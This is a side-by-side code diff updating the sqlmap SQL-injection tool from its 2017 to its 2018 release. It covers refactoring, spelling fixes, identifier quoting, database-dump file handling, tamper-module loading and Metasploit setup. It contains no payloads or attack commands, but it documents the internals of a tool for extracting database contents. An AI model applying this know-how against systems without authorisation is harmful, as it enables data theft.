errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:" errMsg += "Back-end DBMS:"
@@ -3329,7 +3367,7 @@ def createGithubIssue(errMsg, excMsg):
msg += "with the unhandled exception information at " msg += "with the unhandled exception information at "
msg += "the official Github repository? [y/N] " msg += "the official Github repository? [y/N] "
try: try:
choice = readInput(msg, default='N', boolean=True) choice = readInput(msg, default='N', checkBatch=False, boolean=True)
except: except:
choice = None choice = None
@@ -3396,8 +3434,8 @@ def maskSensitiveData(msg):
value = extractRegexResult(regex, retVal) value = extractRegexResult(regex, retVal)
retVal = retVal.replace(value, '*' * len(value)) retVal = retVal.replace(value, '*' * len(value))
if not conf.get("hostname"): # Just in case (for problematic parameters regarding user encoding)
match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) match = re.search(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)( -?-[a-z]|\Z)", retVal)
if match: if match:
retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
@@ -3455,7 +3493,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
retVal = content retVal = content
try: try:
if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
def _(value): def _(value):
while 2 * REFLECTED_REPLACEMENT_REGEX in value: while 2 * REFLECTED_REPLACEMENT_REGEX in value:
value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
@@ -3561,7 +3599,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
if _: if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal) retVal = unsafeSQLIdentificatorNaming(retVal)
@@ -3572,8 +3610,12 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = "\"%s\"" % retVal retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper() retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
retVal = "[%s]" % retVal parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3763,7 +3805,7 @@ def filterPairValues(values):
def randomizeParameterValue(value): def randomizeParameterValue(value):
""" """
Randomize a parameter value based on occurances of alphanumeric characters Randomize a parameter value based on occurrences of alphanumeric characters
>>> random.seed(0) >>> random.seed(0)
>>> randomizeParameterValue('foobar') >>> randomizeParameterValue('foobar')
@@ -3808,7 +3850,7 @@ def randomizeParameterValue(value):
@cachedmethod @cachedmethod
def asciifyUrl(url, forceQuote=False): def asciifyUrl(url, forceQuote=False):
""" """
Attempts to make a unicode URL usuable with ``urllib/urllib2``. Attempts to make a unicode URL usable with ``urllib/urllib2``.
More specifically, it attempts to convert the unicode object ``url``, More specifically, it attempts to convert the unicode object ``url``,
which is meant to represent a IRI, to an unicode object that, which is meant to represent a IRI, to an unicode object that,
@@ -3848,8 +3890,8 @@ def asciifyUrl(url, forceQuote=False):
# Triggers on non-ascii characters - another option would be: # Triggers on non-ascii characters - another option would be:
# urllib.quote(s.replace('%', '')) != s.replace('%', '') # urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&". # which would trigger on all %-characters, e.g. "&".
if s.encode("ascii", "replace") != s or forceQuote: if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
return s return s
username = quote(parts.username, '') username = quote(parts.username, '')
@@ -3873,13 +3915,15 @@ def asciifyUrl(url, forceQuote=False):
if port: if port:
netloc += ':' + str(port) netloc += ':' + str(port)
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url
def isAdminFromPrivileges(privileges): def isAdminFromPrivileges(privileges):
""" """
Inspects privileges to see if those are coming from an admin user Inspects privileges to see if those are coming from an admin user
""" """
privileges = privileges or []
# In PostgreSQL the usesuper privilege means that the # In PostgreSQL the usesuper privilege means that the
# user is DBA # user is DBA
retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
@@ -3905,6 +3949,9 @@ def isAdminFromPrivileges(privileges):
def findPageForms(content, url, raise_=False, addToTargets=False): def findPageForms(content, url, raise_=False, addToTargets=False):
""" """
Parses given page content for possible forms Parses given page content for possible forms
>>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
set([(u'/input.php', 'POST', u'id=1', None, None)])
""" """
class _(StringIO): class _(StringIO):
@@ -3927,13 +3974,13 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
try: try:
forms = ParseResponse(response, backwards_compat=False) forms = ParseResponse(response, backwards_compat=False)
except (UnicodeError, ValueError):
pass
except ParseError: except ParseError:
if "<html" in (content or ""): if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.warning(warnMsg) logger.warning(warnMsg)
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url) filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
if filtered and filtered != content:
try: try:
forms = ParseResponse(filtered, backwards_compat=False) forms = ParseResponse(filtered, backwards_compat=False)
except ParseError: except ParseError:
@@ -3942,6 +3989,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
logger.debug(errMsg) logger.debug(errMsg)
except:
pass
if forms: if forms:
for form in forms: for form in forms:
@@ -3972,7 +4021,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
url = urldecode(request.get_full_url(), kb.pageEncoding) url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method() method = request.get_method()
data = request.get_data() if request.has_data() else None data = request.get_data() if request.has_data() else None
data = urldecode(data, kb.pageEncoding, plusspace=False) data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST: if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected" debugMsg = "invalid POST form with blank data detected"
@@ -4181,7 +4230,7 @@ def decodeHexValue(value, raw=False):
except UnicodeDecodeError: except UnicodeDecodeError:
pass pass
if not isinstance(retVal, unicode): if not isinstance(retVal, unicode):
retVal = getUnicode(retVal, "utf8") retVal = getUnicode(retVal, conf.encoding or "utf8")
return retVal return retVal
@@ -4323,7 +4372,9 @@ def prioritySortColumns(columns):
['userid', 'name', 'password'] ['userid', 'name', 'password']
""" """
_ = lambda x: x and "id" in x.lower() def _(column):
return column and "id" in column.lower()
return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
def getRequestHeader(request, name): def getRequestHeader(request, name):
@@ -4337,7 +4388,7 @@ def getRequestHeader(request, name):
if request and name: if request and name:
_ = name.upper() _ = name.upper()
retVal = max([value if _ == key.upper() else None for key, value in request.header_items()]) retVal = max(value if _ == key.upper() else None for key, value in request.header_items())
return retVal return retVal

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
if len(self.stack) > 1: if len(self.stack) > 1:
func = self.stack[-2] func = self.stack[-2]
if func not in PICKLE_REDUCE_WHITELIST: if func not in PICKLE_REDUCE_WHITELIST:
raise Exception, "abusing reduce() is bad, Mkay!" raise Exception("abusing reduce() is bad, Mkay!")
self.load_reduce() self.load_reduce()
def loads(str): def loads(str):
@@ -174,7 +174,7 @@ def htmlunescape(value):
pass pass
return retVal return retVal
def singleTimeWarnMessage(message): # Cross-linked function def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message) sys.stdout.write(message)
sys.stdout.write("\n") sys.stdout.write("\n")
sys.stdout.flush() sys.stdout.flush()
@@ -193,7 +193,7 @@ def stdoutencode(data):
warnMsg = "cannot properly display Unicode characters " warnMsg = "cannot properly display Unicode characters "
warnMsg += "inside Windows OS command prompt " warnMsg += "inside Windows OS command prompt "
warnMsg += "(http://bugs.python.org/issue1602). All " warnMsg += "(http://bugs.python.org/issue1602). All "
warnMsg += "unhandled occurances will result in " warnMsg += "unhandled occurrences will result in "
warnMsg += "replacement with '?' character. Please, find " warnMsg += "replacement with '?' character. Please, find "
warnMsg += "proper character representation inside " warnMsg += "proper character representation inside "
warnMsg += "corresponding output files. " warnMsg += "corresponding output files. "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,10 +1,14 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import hashlib
from lib.core.threads import getCurrentThreadData
def cachedmethod(f, cache={}): def cachedmethod(f, cache={}):
""" """
Method with a cached content Method with a cached content
@@ -13,15 +17,25 @@ def cachedmethod(f, cache={}):
""" """
def _(*args, **kwargs): def _(*args, **kwargs):
try: key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
key = hash((f, tuple(args), frozenset(kwargs.items())))
if key not in cache:
cache[key] = f(*args, **kwargs)
except:
key = hash("".join(str(_) for _ in (f, args, kwargs)))
if key not in cache: if key not in cache:
cache[key] = f(*args, **kwargs) cache[key] = f(*args, **kwargs)
return cache[key] return cache[key]
return _ return _
def stackedmethod(f):
def _(*args, **kwargs):
threadData = getCurrentThreadData()
originalLevel = len(threadData.valueStack)
try:
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
threadData.valueStack = threadData.valueStack[:originalLevel]
return result
return _

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -184,10 +184,10 @@ DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
DBMS_DICT = { DBMS_DICT = {
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"), DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
@@ -223,14 +223,16 @@ SQL_STATEMENTS = {
" offset ", " offset ",
" union all ", " union all ",
" rownum as ", " rownum as ",
"(case ", ), "(case ",
),
"SQL data definition": ( "SQL data definition": (
"create ", "create ",
"declare ", "declare ",
"drop ", "drop ",
"truncate ", "truncate ",
"alter ", ), "alter ",
),
"SQL data manipulation": ( "SQL data manipulation": (
"bulk ", "bulk ",
@@ -238,24 +240,28 @@ SQL_STATEMENTS = {
"update ", "update ",
"delete ", "delete ",
"merge ", "merge ",
"load ", ), "load ",
),
"SQL data control": ( "SQL data control": (
"grant ", "grant ",
"revoke ", ), "revoke ",
),
"SQL data execution": ( "SQL data execution": (
"exec ", "exec ",
"execute ", "execute ",
"values ", "values ",
"call ", ), "call ",
),
"SQL transaction": ( "SQL transaction": (
"start transaction ", "start transaction ",
"begin work ", "begin work ",
"begin transaction ", "begin transaction ",
"commit ", "commit ",
"rollback ", ), "rollback ",
),
} }
POST_HINT_CONTENT_TYPES = { POST_HINT_CONTENT_TYPES = {

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic from thirdparty.magic import magic
@@ -140,7 +141,7 @@ class Dump(object):
try: try:
elements = set(elements) elements = set(elements)
elements = list(elements) elements = list(elements)
elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
except: except:
pass pass
@@ -191,7 +192,7 @@ class Dump(object):
userSettings = userSettings[0] userSettings = userSettings[0]
users = userSettings.keys() users = userSettings.keys()
users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
if conf.api: if conf.api:
self._write(userSettings, content_type=content_type) self._write(userSettings, content_type=content_type)
@@ -285,7 +286,7 @@ class Dump(object):
colType = None colType = None
colList = columns.keys() colList = columns.keys()
colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
for column in colList: for column in colList:
colType = columns[column] colType = columns[column]
@@ -377,7 +378,7 @@ class Dump(object):
if count is None: if count is None:
count = "Unknown" count = "Unknown"
tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
for table in tables: for table in tables:
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table)))
@@ -414,16 +415,16 @@ class Dump(object):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
try: try:
os.makedirs(dumpDbPath, 0755) os.makedirs(dumpDbPath)
except: except:
warnFile = True warnFile = True
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
try: try:
os.makedirs(dumpDbPath, 0755) os.makedirs(dumpDbPath)
except Exception, ex: except Exception, ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapdb") tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +442,7 @@ class Dump(object):
dumpDbPath = tempDir dumpDbPath = tempDir
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False): if not checkFile(dumpFileName, False):
try: try:
openFile(dumpFileName, "w+b").close() openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
except: except:
warnFile = True warnFile = True
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table))) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table))) _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else: else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -611,9 +612,9 @@ class Dump(object):
mimetype = magic.from_buffer(value, mime=True) mimetype = magic.from_buffer(value, mime=True)
if any(mimetype.startswith(_) for _ in ("application", "image")): if any(mimetype.startswith(_) for _ in ("application", "image")):
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755) os.makedirs(dumpDbPath)
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column))) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
logger.warn(warnMsg) logger.warn(warnMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -22,6 +22,15 @@ class SORT_ORDER:
FIFTH = 4 FIFTH = 4
LAST = 100 LAST = 100
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS:
NOTSET = 0
DEBUG = 10
INFO = 20
WARNING = 30
ERROR = 40
CRITICAL = 50
class DBMS: class DBMS:
ACCESS = "Microsoft Access" ACCESS = "Microsoft Access"
DB2 = "IBM DB2" DB2 = "IBM DB2"

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -337,7 +337,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
if not host: if not host:
errMsg = "invalid format of a request file" errMsg = "invalid format of a request file"
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
if not url.startswith("http"): if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
@@ -402,7 +402,7 @@ def _loadQueries():
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
for node in tree.findall("*"): for node in tree.findall("*"):
queries[node.attrib['value']] = iterate(node) queries[node.attrib['value']] = iterate(node)
@@ -687,12 +687,12 @@ def _setMetasploit():
if IS_WIN: if IS_WIN:
try: try:
import win32file __import__("win32file")
except ImportError: except ImportError:
errMsg = "sqlmap requires third-party module 'pywin32' " errMsg = "sqlmap requires third-party module 'pywin32' "
errMsg += "in order to use Metasploit functionalities on " errMsg += "in order to use Metasploit functionalities on "
errMsg += "Windows. You can download it from " errMsg += "Windows. You can download it from "
errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'" errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
if not conf.msfPath: if not conf.msfPath:
@@ -784,7 +784,7 @@ def _setMetasploit():
if not msfEnvPathExists: if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework installation. " errMsg = "unable to locate Metasploit Framework installation. "
errMsg += "You can get it at 'http://www.metasploit.com/download/'" errMsg += "You can get it at 'https://www.metasploit.com/download/'"
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
def _setWriteFile(): def _setWriteFile():
@@ -918,7 +918,7 @@ def _setTamperingFunctions():
dirname, filename = os.path.split(script) dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname) dirname = os.path.abspath(dirname)
infoMsg = "loading tamper script '%s'" % filename[:-3] infoMsg = "loading tamper module '%s'" % filename[:-3]
logger.info(infoMsg) logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, "__init__.py")): if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -931,8 +931,8 @@ def _setTamperingFunctions():
try: try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except (ImportError, SyntaxError), ex: except Exception, ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -962,7 +962,12 @@ def _setTamperingFunctions():
break break
elif name == "dependencies": elif name == "dependencies":
try:
function() function()
except Exception, ex:
errMsg = "error occurred while checking dependencies "
errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
raise SqlmapGenericException(errMsg)
if not found: if not found:
errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -1046,7 +1051,7 @@ def _setSocketPreConnect():
if conf.disablePrecon: if conf.disablePrecon:
return return
def _(): def _thread():
while kb.get("threadContinue") and not conf.get("disablePrecon"): while kb.get("threadContinue") and not conf.get("disablePrecon"):
try: try:
for key in socket._ready: for key in socket._ready:
@@ -1078,6 +1083,7 @@ def _setSocketPreConnect():
break break
else: else:
try: try:
candidate.shutdown(socket.SHUT_RDWR)
candidate.close() candidate.close()
except socket.error: except socket.error:
pass pass
@@ -1090,7 +1096,7 @@ def _setSocketPreConnect():
socket.socket._connect = socket.socket.connect socket.socket._connect = socket.socket.connect
socket.socket.connect = connect socket.socket.connect = connect
thread = threading.Thread(target=_) thread = threading.Thread(target=_thread)
setDaemon(thread) setDaemon(thread)
thread.start() thread.start()
@@ -1127,7 +1133,7 @@ def _setHTTPHandlers():
_ = urlparse.urlsplit(conf.proxy) _ = urlparse.urlsplit(conf.proxy)
except Exception, ex: except Exception, ex:
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
hostnamePort = _.netloc.split(":") hostnamePort = _.netloc.split(":")
@@ -1254,7 +1260,7 @@ def _setSafeVisit():
kb.safeReq.post = None kb.safeReq.post = None
else: else:
errMsg = "invalid format of a safe request file" errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
else: else:
